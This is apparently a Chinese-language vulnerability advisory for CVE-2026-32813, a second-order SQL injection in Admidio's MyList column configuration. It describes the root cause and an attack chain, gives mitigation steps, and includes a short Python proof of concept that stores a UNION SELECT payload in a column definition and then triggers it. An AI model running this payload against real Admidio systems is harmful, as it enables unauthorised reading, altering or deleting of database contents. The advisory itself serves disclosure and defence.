IPBUF安全漏洞报告
English
CVE-2026-32813 CVSS 8.0 高危

CVE-2026-32813 Admidio二阶SQL注入漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-32813
漏洞类型
SQL注入
CVSS评分
8.0 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Admidio

相关标签

SQL注入二阶注入Admidio高危漏洞数据库安全CVE-2026-32813

漏洞概述

Admidio是一款开源的用户管理解决方案。在5.0.6及以下版本中,MyList配置功能存在严重的二阶SQL注入漏洞。经过身份验证的用户可利用自定义列表列布局功能,将恶意SQL代码存储在数据库中。当系统后续读取这些配置并动态构建SQL查询时,未经过滤的数据被直接拼接,导致攻击者可执行任意SQL命令,进而读取、修改或删除数据库中的任何数据,造成完全的数据库泄露风险。

技术细节

该漏洞属于典型的二阶SQL注入(Second-order SQL Injection)。漏洞根源在于MyList配置功能的数据处理逻辑不一致。在第一阶段,系统允许经过身份验证的用户通过Web界面自定义列表列布局(包括列名、排序方向和过滤条件)。这些用户输入在初次写入`adm_list_columns`表时,使用了预处理语句,因此数据被安全存储,绕过了输入层的检测。在第二阶段,当系统需要展示该列表时,会从数据库中读取之前存储的配置值,并将其直接拼接到动态生成的SQL查询语句中,且未进行任何转义或参数化处理。此时,存储在数据库中的恶意代码被执行,导致数据库被非法操作。

攻击链分析

STEP 1
1. 侦察与认证
攻击者获取目标Admidio系统的低权限账户,并成功登录系统。
STEP 2
2. 恶意注入
攻击者访问MyList配置功能,在自定义列名或过滤条件中输入恶意SQL语句。系统使用预处理语句将这些数据安全存储到`adm_list_columns`表中。
STEP 3
3. 触发漏洞
攻击者或管理员访问包含该MyList配置的页面。系统读取存储的恶意配置,并在构建SQL查询时直接拼接字符串。
STEP 4
4. 数据库破坏
恶意SQL语句在数据库引擎中执行,攻击者获取敏感数据、修改数据或控制数据库。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://example.com/admidio" login_url = f"{target_url}/adm_program/system/login.php" list_url = f"{target_url}/adm_program/modules/lists/mylist_function.php" # Attacker credentials (low privilege user) credentials = { "usr_login_name": "attacker", "usr_password": "password" } session = requests.Session() # Step 1: Authenticate print("[*] Logging in...") login_resp = session.post(login_url, data=credentials) if login_resp.status_code != 200: print("[-] Login failed") exit() # Step 2: Inject payload via MyList configuration # The payload targets a column name that will be concatenated into SQL later # Example Payload: ' OR SLEEP(5)-- sql_payload = "test' UNION SELECT 1,2,3,4,5,6,7,8,9-- -" print("[*] Sending malicious payload to MyList configuration...") exploit_data = { "mode": "save", "lst_id": "1", "columns[]": [sql_payload], # Injecting into the column definition "sort": "ASC" } store_resp = session.post(list_url, data=exploit_data) # Step 3: Trigger the vulnerability # Accessing the list page forces the app to read the stored config and build the SQL print("[*] Triggering the vulnerability by accessing the list...") trigger_resp = session.get(f"{target_url}/adm_program/modules/lists/lists_show.php?lst_id=1") if trigger_resp.status_code == 200: print("[+] Request sent. Check database for execution of payload.") else: print("[-] Trigger failed")

影响范围

Admidio <= 5.0.6

防御指南

临时缓解措施
建议立即限制普通用户对MyList配置功能的访问权限,仅允许受信任的管理员修改列表配置。同时,应检查数据库中`adm_list_columns`表内是否存在异常数据,并手动清理可疑的SQL注入字符串,直到完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表